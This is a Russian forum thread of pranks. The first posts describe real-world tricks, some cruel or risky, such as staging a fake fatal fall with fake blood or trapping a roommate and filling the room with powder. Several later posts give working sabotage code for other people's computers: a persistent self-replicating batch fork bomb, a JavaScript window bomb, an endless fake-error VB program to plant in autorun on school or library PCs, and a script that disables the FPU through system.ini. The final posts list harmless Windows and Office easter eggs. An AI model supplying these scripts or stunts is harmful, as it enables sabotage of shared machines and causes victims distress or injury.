imho.ws |
![]() |
![]() |
![]() |
# 1 |
Full Member
Регистрация: 26.08.2002
Адрес: Estonia
Сообщения: 654
![]() ![]() |
Розыгрыши
1. Розыгрыш с яйцом. "Открыть любую дверь. Нужно, чтобы между дверью и косяком, там где петли, можно было просунуть пальцы. Заранее приготовить сырое куриное яйцо. Требуется уговорить "объект" просунуть пальцы в щель и взять ими яйцо. Хорошо, если яйцо будет располагаться с внутренней стороны, и это будет комната "объекта". Яйцо вручить и уйти:.."
2. Розыгрыш с табличками. "В учреждении, где много посетителей, разместить табличку с указанием туалета на двери совершенно другого помещения. Желательно, чтобы работники, находящиеся в этом помещении, как можно реже выходили наружу - так дольше провесит Ваша табличка, и тем дольше работники будут наблюдать стремительно забегающих, столбенеющих и выбегающих людей. Особенно, если поместить указатель женского туалета. Можно изготовить несколько стрелок указателей, чтобы люди находили дорогу к псевдотуалету. Можно вместо надписи "туалет" использовать надпись "буфет" - работникам придётся очень много раз объяснять, что тут не буфет, а например, лаборантская." 3. Розыгрыш с верёвкой. "Взять длинную верёвку и найти небольшой отдельно стоящий дом. Проходящего мимо человека попросить под любым предлогом подержать конец верёвки. С другим концом верёвки отправиться вокруг дома и, обойдя почти полностью, попросить другого человека подержать уже этот конец верёвки. Верёвку попросить сильно натянуть и уйти. Что получается? Эти люди друг друга не видят , им мешает угол ( вы видите их обоих ), и верёвку они бросить не могут - ведь их попросили подержать. Чем это кончится? Попробуйте, узнаете." 4. Розыгрыш по телефону. "Допустим, в Вашем коллективе появилась новая молоденькая секретарша. Зрители, посвящённые в розыгрыш, наблюдают за её поведением. Кто-либо из соседней комнаты звонит секретарю и как можно более серьёзным голосом сообщает о том, что звонят с телефонной станции, и сейчас в целях очистки проводов по телефонному каналу будет подан горячий пар под давлением. Поэтому нужно очень быстро закутать все телефонные трубки в офисе полиэтиленом или бумагой (или положить их на пол). Все сидят и смотрят: Самое главное - произнести это серьёзно и быстро. Ну и секретарша должна быть достаточно доверчивой." 5. Розыгрыш с "манекеном". "Выбрать "объект" розыгрыша. Это может быть сосед или соседка по комнате или кабинету. Комната должна находиться минимум на 2 этаже. На глазах "объекта" необходимо некоторое время просидеть у открытого окна на подоконнике. В какой-то момент, когда "объект" не смотрит на вас, вы должны спрятаться или бесшумно покинуть комнату. Одновременно с этим ваш помощник на улице под окном выкладывает чучело - одежда как у вас набита бумагой для объёма (яркая майка и т.д.) - и фанеру под цвет асфальта с нарисованным пятном "крови". Затем он кричит ваше имя со словами : "Разбился, разбился, помогите::.". Помощник, находящийся в комнате, и "объект" подбегают к окну и видят ваше тело на асфальте. Помощник предлагает спуститься и помочь вам, если это ещё возможно. Когда они убегают, вы возвращаетесь в комнату на своё место и сидите как ни в чём не бывало. Пока "объект" бежит вниз, "тело" и фанера убираются. "Объект" ничего не понимает. Помощник говорит, что тело, наверное, уже убрали. Они возвращаются в комнату, и "объект" видит вас - немая сцена::.."
__________________
note. |
![]() |
![]() |
# 2 |
Full Member
Регистрация: 26.08.2002
Адрес: Estonia
Сообщения: 654
![]() ![]() |
6. Розыгрыш с сухим льдом. "Взять тазик горячей воды, вылить туда бутылку шампуни и бросить сухой лёд. Сам не пробовал, но говорят пены очень, очень, очень много - может заполнить и комнату вашего соседа. Представляете картину?"
7. Розыгрыш с присыпкой. "Ваш сосед находится в комнате. Временно заблокировать его дверь так, чтобы он не смог выйти. Заполнить трубку подходящего размера детской присыпкой. Один конец трубки подставить под дверь или к щели в косяке, а другой подставить к фену. Фен включить, и полная комната присыпки готова." 8. Розыгрыш с кроватью. "В общежитии или в казарме. Пока человек спит вынести его на кровати в туалет. По команде "подъём" он вскакивает, а вокруг одни унитазы: И одежды нет." 9. Розыгрыш со снежком. "Скатать огромный снежок и с помощью помощников на простыне затащить в комнату (кабинет) "объекта" незадолго до его прихода. Вытащить снежок целиком он не сможет, а снежок-то тает:.." 10. Розыгрыш в метро. "Группа людей заходят в один вагон метрополитена. Все заходят так, чтобы никто не заподозрил что они вместе. Через какое-то время, как поезд отъедет от станции, один из вошедших подходит к кнопке связи с машинистом, делает вид что нажимает ее и говорит так, чтобы слышало как можно больше народу: "Гамбургер и большую Кока-колу в вагон номер ____ " (номер вагона написан рядом с кнопкой). Сказав это, он просто становится и ждет следующей станции. На следующей станции в этот вагон заходит еще один человек (желательно в майке или кепке Кока-кола) и спрашивает громко: "Кто заказывал гамбургер и Кока-колу". Тот человек, который заказывал, подходит, забирает "заказ", быстро рассчитывается и едет дальше. Тот, который принес заказ, должен успеть выйти на этой станции. Поезд трогается. Человек снова подходит к кнопке и говорит: "До конечной без остановки". Реакция у пассажиров просто неописуемая." 11. Розыгрыш "Тест на трезвость". "Вот один старый простенький розыгрыш. Возвращаясь в компании домой после вечеринки (желательно на людной улице), заводится спор - кто из членов компании наиболее трезв. Выбранной жертве розыгрыша предлагается сделать ровную (надо подчеркнуть, что РОВНУЮ) ласточку (надеюсь, что это за фигура - понятно). После того, как жертва старательно сделает то, что от нее требуют, нужно объявить, что он (она) абсолютно пьян. В ответ на недоуменные восклицания жертвы объясните, что трезвый человек никогда не станет делать такое в людном месте. Сам я много раз проводил этот розыгрыш и только один раз объект розыгрыша смертельно обиделся - в компании была девушка, на которую тот хотел произвести впечатление. Произвел, конечно". 12. Розыгрыш с дрелью. "Значит так: Ищем объект для прикола, берем электродрель и пару раз запускаем ее на глазах у объекта, дабы привлечь его внимание... Потом заходим за спину, пускаем электродрель и тыкаем пальцем в спину объекту... Когда мне такое сделали, я сначала прыгнул метра на 2, потом минут 30 отходил ![]() 13. Розыгрыш с кастрюлей В кастрюльку наливается вода, закрывается сверху листом бумаги, переворачивается вверх дном, ставится на ровный пол или даже лучше стол, бумага вытаскивается. Вода не вытекает. Жертва видит бесхозную (мешающую) кастрюлю и поднимает с понятным результатом. В качестве варианта вместо кастрюли берется стеклянная банка литра на 3-5 и ставится там, где это помешает потенциальной жертве, которая видит воду и просто приходится ломать голову как обойтись с наименьшими жертвами. При этом наиболее сложно убрать с пола. Насчет приклеивания тапочек к полу, коврику, пришивания одеяла к матрасу у спящего товарища я и не говорю. Как-то упустил офисный вариант - принцип тот же, но, например, с непрозрачным стаканчиком и на стол любимой секретарше
__________________
note. |
![]() |
![]() |
# 3 |
Full Member
Регистрация: 26.08.2002
Адрес: Estonia
Сообщения: 654
![]() ![]() |
14. Розыгрыш с кабачковой икрой Группа пеших туристов останавливается на обед. В это время инструктор уходит метров на 500 вперед по тропе и вываливает на пути группы на землю банку кабачковой икры, налепив на нее клочки туалетной бумаги. Группа, отдохнув, выходит на маршрут. Инструктор идет не впереди, а где-то в серединке. Когда впередиидущие брезгливо переступают через эту кучку, инструктор расталкивая клиентов, с воплем СВЕЖАТИНА!!!!!!!! вытаскивает ложку и, разбросав бумажки начинает кушать. Эффект поразителен.
15. Воспитательный розыгрыш. Значит так, выбираем человека, который находится постоянно рядом с вами (жена, муж, брат, сестра, тесть, теща, отец, мать и т.д.). Обязательным условием является рассеянность этого человека. То есть, он является превосходным кандидатом для розыгрыша, если постоянно забывает в самых неожиданных местах свои мелкие вещи -- очки, заколки, перчатки, расчески и т.д. Естественно, что очень часто он их разыскивает и всех окружающих донимает вопросами типа "вы не видели мои очки (кошелек, ключи, ...) ?". Вот тут-то вы, как добрый самаритянин, и советуете ему заглянуть в какое-нибудь самое неподходящее для розысков место. Я, например, советую заглянуть в морозилку ![]() ![]() 16. С хлопушкой. "В детстве с друзьями мы разыгрывали соседей так. Привязывали хлопушку к перилам и дверной ручке и звонили в дверь. Результат можно наблюдать в дверной глазок - только не лопните от смеха, чтобы не попасться. Как правило, соседи в течении часа или двух после этого затаившись стоят за дверью и через каждые пять минут выбегают во двор в надежде поймать шутников." 17. С ниткой В кровать жертвы под простыню зигзагообразным методом укладывается нитка. Другой конец протягивается за дверь так, чтобы при натяжении нитка не поднималась и ее не было видно. Когда вечером жертва ложится в кровать, нитка потихоньку вытаскивается (ощущение шевелящегося насекомого) 18. Розыгрыш с брюками "Мою подругу попросил один знакомый подшить джинсы ( достаточно дорогие ). И т.к. подшивать надо было много ( он маленький и толстенький ), он попросил лишнюю ткань отрезать. Замерили они вместе сколько укорачивать, и моя подруга пошла к себе домой обрезать и подшивать. На следующий день я и моя подруга вместе с укороченными джинсами пошли к этому товарищу. Пришли, отдали джинсы и попросили сразу померить. Этот товарищ уходит в соседнюю комнату, одевает там джинсы и через некоторое время возвращается в страшном смятении. Оказывается, обе штанины короче чем надо см. на 20: получились эдакие бриджи. Моя подруга, когда видит это, падает на диван в предобмарочном состоянии - штаны она испортила, а ей на такие и за два месяца не заработать. И вдруг я вижу, что этот друг начинает смеяться - оказывается он просто загнул внутрь штанины. Над нами он, конечно, подшутил, но теперь моя подруга у него даже носовой платок подшить не возьмёт. И вообще она при слове "подшить" вздрагивать стала." 19. Телефон под током " Звонишь кому-нибудь и просишь, что бы не отвечали на телефонные звонки в течении 10 мин, т.к. на линии работает телефонист и его может ударить током. Через несколько минут перезваниваешь по этому же номеру , и если поднимают трубку, издайте душераздирающий вопль..." 20. Розыгрыш со спичками В бесснежное время года, в тесной компании (лучше, если эту шутку знает как можно меньше народу) выбрать жертву. Поставить ее посередине чего-либо (комнаты, кухни, сарая, лесной поляны, озера - где собственно все и собрались). Попросить вытянуть вперед руки, и в каждую руку, между большим и указательным пальцем дать по спичке головкой вниз. А потом еще по одной спичке положить под носок ботинка или туфельки таким образом, чтобы больше половины спички торчало вперед. И спросить: - Какой сейчас месяц? - ........ - бодро ответит жертва. - А почему ты на лыжах????? Эффект просто поразительный!!!! Несколько минут смеха обеспечено!
__________________
note. |
![]() |
![]() |
# 6 |
::VIP::
Регистрация: 17.02.2002
Адрес: /home/dr-evil
Пол: Male
Сообщения: 2 212
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
веселуха... типа круто. Попробовать надо будет ...
__________________
Сеть - это диагноз... а сисадмин - состояние души. Питер! Все на сходку!!! | Обзоры порталов. Добавь свою любимую систему! |
![]() |
![]() |
# 7 |
Face Of IMHO
Регистрация: 16.03.2002
Адрес: Moscow
Пол: Male
Сообщения: 4 838
![]() |
ПЕРВАЯ БРАЧНАЯ НОЧЬ
"Этот розыгрыш годится как для трезвой, а лучше не совсем трезвой компании. Инициатор конкурса предлагает кому либо из присутствующих проверить координацию (степень опьянения, глазомер и т.д.). На листе бумаги ставятся пять точек , образующих квадрат с точкой внутри (примерно, как сложенный по чтовый конверт). Лист ложится на стол, напротив ставится зеркало , и подопытному предлагается, глядя на отражение листа в зеркале, соединить все точки между собой, по возможности не разорвав линию (это не так просто, как вы думаете, даже трезвому ![]() кто-либо из зрителей закрывает листом бумаги сам рисунок так, чтобы было видно только отражение. В процессе рисования жертва честно старается провести линии поровнее и издает самые разнообразные звуки, свидетельствующие о трудности задания типа: "Не попал..., Опять не попал... Чего ржете, сами попробуйте..., Трудно, вспотел даже ...и т.д.". Задача ведущего записать все фразы, слова, предложения и звуки, которые издает испытуемый, и по окончании зачитать все вслух под заголовком "Как И. (испытуемый) провел первую брачную ночь". Обычно все заканчивается всеобщим посмешищем, после чего ищется очередной доброволец, а количество зрителей увеличивается на 1. А так как зрители уже в курсе дела, то каждая фраза нового добровольца приветствуется всеобщим ржанием. p.s. Бывает ТАКОЕ услышишь ;-)" |
![]() |
![]() |
# 8 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
![]()
В этом топике выкладываются в виде аттачей либо советов всевозможные шутки, приколы, розыгрыши и т.п. которые могут помочь поднять настроения Вам и Вашим коллегам по работе, знакомым, крутым доморещенным кулхацкерам и прочей публике постоянно ошивающейся у компа!
Внимание: Вся информация выкладывемая в этом топике не должна реально угрожать работоспособности и информации хранящейся на компутере! Либо при выкладывании подобных советов, прог, etc, необходимо предупреждать о возможном вреде и по возможности указывать способы избавления в случае их НЕочевидности!!!
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |
![]() |
# 9 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
По утверждению автора, после импорта данного reg файла комп может быть выключен только посредством кнопки Reset
![]() Сам не пробовал, ничего не обещаю... ЗЫ Для нормальной работы под 98/Ме исправьте путь: [HKEY_CURRENT_USER\Software\Microsoft\windows\ CurrentVersion\Policies\Explorer] Пасибо Маску ![]()
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! Последний раз редактировалось Nymph; 27.03.2003 в 23:19. |
![]() |
![]() |
# 10 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
![]()
Так вот, рекурсия - это когда кто-нибудь вызывает сам себя. Например: запускаешь две Аськи у себя на компе (русскую и английскую, чтобы друг друга не видели) и начинаешь сам себе мессаги слать. Но я не о том. Ты, конечно же, знаешь, что всеми любимый MustDie очень требователен к железу (и вообще к ресурсам компа), так вот, используя рекурсию, мы поставим MD на колени.
1. Ну, для разминочки делаем на винте файл с именем "die.bat" и пишем в него следующие пять строчек: @echo off :metka @start die.bat @echo -----NAME RULEZZZzzz FOREVER----- @goto metka Где NAME - это твое имя. Хочешь посмотреть, что будет? Мой тебе совет, перед запуском этого файла сохрани все важные документы, а то, не дай Гейтс, все сотрешь. И еще, если скопировать этот файл в каталог Форточек и в файле "win.ini", в самом начале, после строчки "[windows]", написать команду "run=die.bat", то этот файл будет загружаться при каждом запуске Форточек. 2. Если добавить пару строчек в этот файлик: @echo off @echo -----NAME RULEZZZzzz FOREVER----- @echo @echo off >> c:\autoexec.bat @echo :metka >> c:\autoexec.bat @echo @start c:\autoexec.bat >> c:\autoexec.bat @echo @goto metka >> c:\autoexec.bat И запустить его, то после перезагрузки компа ты больше никогда не кликнешь на этой прекрасной кнопке "Пуск" и не подвинешь курсор мыши к кнопке закрытия окна... 3. Но это все отстой! Попробуй-ка это: <script> </p> <p>now(); </p> <p>function now(){for (i=1;i>0;i++){open('die.htm','new'+i);}} </p> <p></script> Сохрани эту чушь под именем "die.htm" и посмотри, как корчится твой броузер, пытаясь открыть очередное окно ![]() ПыСы: Не помню кто писал и откуда взято, но также сам не пробовал... ОС 9х/Ме
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |
![]() |
# 11 |
Administrator
Регистрация: 24.12.2002
Пол: Male
Сообщения: 9 587
![]() |
Прикольно, попробую обязательно (на работе).Гы
__________________
Я не злопамятный. Я злой, но память у меня плохая и никуда я ничего не записываю. Могу отомстить, забыть, потом снова отомстить... Forum canonis non penis canina est! |
![]() |
![]() |
# 12 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Mетод нумбер один - программный:
Если на экране появляется мессага с предупреждением и непонятными символами, то глупый юзверь думает, что винды глючат ![]() Пишем маленькую прогу на VB, так как VB стоит почти во всех универах на всех компах. Ибо VB помогает познать глючный и тормозной мир виндов ![]() Private Sub UserForm_Activate() 10 MsgBox ("CPU Fatal Error!"), vbCritical goto 10 End Sub Просто и коварно одновременно если кинешь ты енту прогу в автозагрузку или писанешь в реестр. Вешаешь прогу в библиотеке или в компутерном классе и через пару дней они завоют, Я тебе обещаю ![]() Метод нумбер два - да поможет нам винда! Лезем в Internet Options и там мы делаем следующее: 1. В последней закладке все делаем наоборот, т.е., где галочка там не галочка, а где не галочка там галочка ![]() 2. Можешь сменить адрес вашего прокси и, когда ламухи обломаются и разбегутся, спокойно сядь за пустой комп, смени проксю назад и спокойно лезь в инет. 3. На загрузку в браузере поставь сайт с реальной порнухой можно не с людьми ![]() 4. Просто удали Експлорер. Предупреждение! Не переборщи и не комбинируй методы.
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |
![]() |
# 13 |
Administrator
Регистрация: 24.12.2002
Пол: Male
Сообщения: 9 587
![]() |
Nymph
Ты прям диверсант какой-то, ;-)))
__________________
Я не злопамятный. Я злой, но память у меня плохая и никуда я ничего не записываю. Могу отомстить, забыть, потом снова отомстить... Forum canonis non penis canina est! |
![]() |
![]() |
# 15 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
1) Всё начинается как всегда с HKEY_LOCAL_MACHINE/System/CurrentControlSet/control/Shutdown вы, наверно, уже поняли, о чем будет разговор.
Конечно, все связанное с выключением нашей железяки (гы-гы-гы) ![]() 2) Если у вас стоит Win98, то екстрактаете RESTART.COM из c:\_windir_\command\ebd.cab\ и ставите его первой строкой в AUTOEXECе, после чего делаете его READ ONLY 3) Записываем прогу в MBR, ставим jmp на конец придельно допустимого сигмента памяти в досе, и ваш компьютер даже после формата винта будет перегружаться пожизненно... !!! 4) В system.ini в строчке mouse.drv=mouse.drv удаляем вторую половину и оставляем вот так mouse.drv= Эффект тот же ShutDown. Но гораздо злее.......... Под вынь98 работает безотказно. 5) Прикол с винтом. Во многих школах обычно стоят древние компы с Windows 95 (Fat-16). Соответственно грех этим не воспользоваться ![]() ![]() ![]() 6) Шутка с ресетом неплохая, но не всегда срабатывает. Для профилактики надо во время процесса достать шнур из розетки, выключить комп, затем вставить и включить. Эффект тот же, что и выключенного компа при формате. 7) Во время оптимизации реестра под досом нажать RESET - эффект такой-жа, тока возни потом больше. З.Ы. проверено электроникой ![]()
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |
![]() |
# 16 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Не каждому ламеру известно, что у него в компе есть математический сопроцессор (FPU). Эта хрень отвечает за выполнение операций с плавающей точкой. Не вдаваясь в подробности, скажу, что если FPU отключить твоему заклятому другу (или себе, если ты мазохист), то он получит незабываемые ощущения, а теперь конкретнее: в Win95 - иногда вылетает синий экран с сообщениями об ошибках; игры тормозят зверски (особенно 3D); DOS проги не запускаются вообще; эффекты такие, будто частота проца уменьшилась в два раза, в общем глюки
![]() ![]() Как это делается? Есть два пути: 1) Изменяем параметры в Панель управления -> Система -> Сопроцессор -> Включаем режим "не использовать". Но это гиморно и не по-хацкерски ![]() 2) Помещаем в System.ini строчки: [MathCoprocessor] FPUFlags=2 3) А теперь чиста хацкерский вариант ![]() @echo off ren %windir%\system.ini s echo [MathCoprocessor] > %windir%\y echo FPUFlags=2 >> %windir%\y echo >> %windir%\y copy %windir%\y /a +%windir%\s /a %windir%\system.ini > nul del %windir%\s del %windir%\y Обязательно останься и посмотри, как твой друг будет радоваться ускорению работы компа ![]()
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |
![]() |
# 17 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
![]()
1) Классический прикол, срабатывающий на тех, кто уже знает кнопку "Пуск" ("Start"), но не знает всех особенностей Windows 95...
Когда этот самый новичок в мире Windows 95 на минуту уйдет в другую комнату, вы быстро подбегаете к его компьютеру, выделяете (но не нажимаете) кнопку "Пуск", жмете ALT +"минус" и... "Закрыть". Дальше вы возвращаетесь на исходную позицию, и наблюдаете за реакцией новичка... Кнопка вернется на место только после перезагрузки Windows'a. 2) Далее следует прикол, более сложный в исполнении: На рабочем столе создайте папку с именем New Folder. Переименуйте ее в and now, the moment you've been all waiting for. Еще раз переименуйте ее в we proudly present for your viewing pleasure. И снова переименуйте в The Microsoft Windows 95 Product Team!. Теперь откройте папку и наслаждайтесь именами тех, кто создал "сверх устойчивую систему". По моему, стабильность системы прямо пропорциональна количеству приколов, намертво вшитих в нее. 3) Неплохо работала фантазия и у тех, кто создавал хранители экрана для Windows 95 и NT. В основном приколы зарыты в хранителе экрана "Объемный текст" ("3D text"): В зависимости от версии Windows 3D Text реагирует на следующие "волшебные" слова, заданные в качестве текста для отображения: I love NT (в версии 3.51), not evil (в версии 4.0), volcano (Windows 95 и NT), BEER и Rock (в версии 3.51). 4) Но есть прикол и для хранителя экрана под названием "Трубопровод": Если для Windows NT в этом хранителе экрана задать параметр "чередующиеся сочленения", то переодически вместо соединения будет появляться чайник. Интересно, к чему бы это? В Windows 95 этот трюк тоже проходит, если помимо "чередующегося сочленения" поставить параметр "число труб" в значение "несколько".
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |
![]() |
# 18 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Microsoft Office
Панель Mocrosoft Office 95: Установите стрелку курсора на маленький логотип в верхнем левом углу и нажмите правую кнопку мышы. В появившемся меню выберете "О панели Microsoft Office". На экране появится окошко с информацией о лицензии на продукт. Удерживая CTRL и SHIFT, дважды щелкните по логотипу. Щелкните еще раз по появившейся заставке, и обратите внимание на изменения регистрационных данных. В Office 97 выше описанное не срабатывает. Видимо, программеры занялись более интересными приколами... 2) В Word 95 создайте новый документ и наберите в нем слово "Blue", теперь измените шрифт этого слова на полужирный и синий. Выделите пробел после набранного слова, в меню справки войдите в пункт "О Программе" и щелкните левой кнопкой мыши по логотипу в открывшимся окне. В Word 97 это тоже срабатывает, но вызывает более крутой эффект. Но для этого требуется установленный DirectX. 3) В новом документе напечатайте =rand() и следуйте дальнейшим указаниям 4) Есть в Word 97 и пикантная шутка: Наберите в документе слово zzzz и нажмите пробел. Слово, естественно, подчеркнется красной волнистой линией. Теперь нажмите на правую кнопку мыши и посмотрите на предлагаемую замену.
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |
![]() |
# 19 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
1) В Excel 95 создайте новую таблицу, перейдите на 95-ю строку, выделите ее и нажмите Tab. В меню "помощь" войдите в пункт "О программе", и удерживая CTRL и SHIFT, щелкните по кнопке "Поддержка".
ДОБРО ПОЖАЛОВАТЬ В MICROSOFT DOOM! 2) Есть слово-ключ, открывающий стену. Это слово - EXCELKFA. 3) В Excel 97 тоже не обошлось без фокусов. Итак, в чистой таблице нажмите клавишу F5, введите в строку ссылки значение x97:l97 и нажмите Enter. Теперь нажмите клавишу Tab и, удерживая CTRL и SHIFT щелкните по пиктограмме "мастер диаграмм". 4) В Excel 5.0 для знакомства с разработчиками нужно проделать следующие операции: 1. Сразу после запуска программы установить стрелку курсора на свободное место инструментальной панели (Toolbar) и, щелкнув правой кнопкой мыши, выбрать пункт меню. Настройка.. 2. Выбрать из списка категорий .Пользовательские. и перетащить пиктограмму с изображением карточной колоды в любую ячейку таблицы. 3. Отказаться от назначения макроса, закрыв возникшую диалоговую панель с помощью кнопки .Отмена. (Cancel). 4. Закрыть диалог настроек. 5. Удерживая клавиши <Ctrl>, <Alt> и < Shift>, щелкнуть левой кнопкой мыши по вставленной пиктограмме.
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |
![]() |
# 20 |
::VIP::
Регистрация: 24.01.2002
Адрес: UF0 =)
Сообщения: 4 097
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
Перейдем к Microsoft Access...
1) Запустите Microsoft Access 95 или 97 и создайте новую базу данных. Выберите закладку "Макросы" и щелкните по кнопке "Создать", далее нажмите на клавишу "пробел" и закройте окно. На запрос о сохранении макроса ответьте утвердительно, назвав его "Magic Eight Ball". Из ниспадающего меню "Вид" выберите пункт "Панель инструментов", а затем "Настройка". В появившейся диалоговой панели перейдите к закладке "Команды" и выберите из списка категорий строку "Все макросы". В соседнем окошке появится название вашей макрокоманды. Перетащите ее на инстру ментальную панель Access. Не закрывая панели настроек, щелкните правой кнопкой мыши на вновь появившейся в панели инструментов пиктограмме, а затем на команде меню "Выбрать значок для кнопки". Из предложенной палитры изображений следует выбрать черный шар с цифрой "8". Закройте панель настроек. Предельно сконцентрируйтесь и мысленно пошлите компьютеру вопрос, который вас больше всего волнует в настоящий момент. Щелкните по пиктограмме с волшебным шаром, и вы получите исчерпывающий ответ. 2) Следующей на очереди стоит программа подготовки презентаций Microsoft PowerPoint. В обеих версиях - 95 и 97 - увидеть титры предельно просто. Для этого достаточно, выбрав из меню помощи пункт "О программе", щелкнуть левой кнопкой мыши по логотипу, находящемуся в верхнем левом углу. Вот так, простенько и со вкусом, ибо в оформлении этой встроенной .презентации. явно чувствуется рука профессионального дизайнера. Кстати, с помощью клавиш управления курсором можно менять скорость прокрутки и размер надписей.
__________________
The sum of the intelligence on the planet is a constаnt; the population is growing! |
![]() |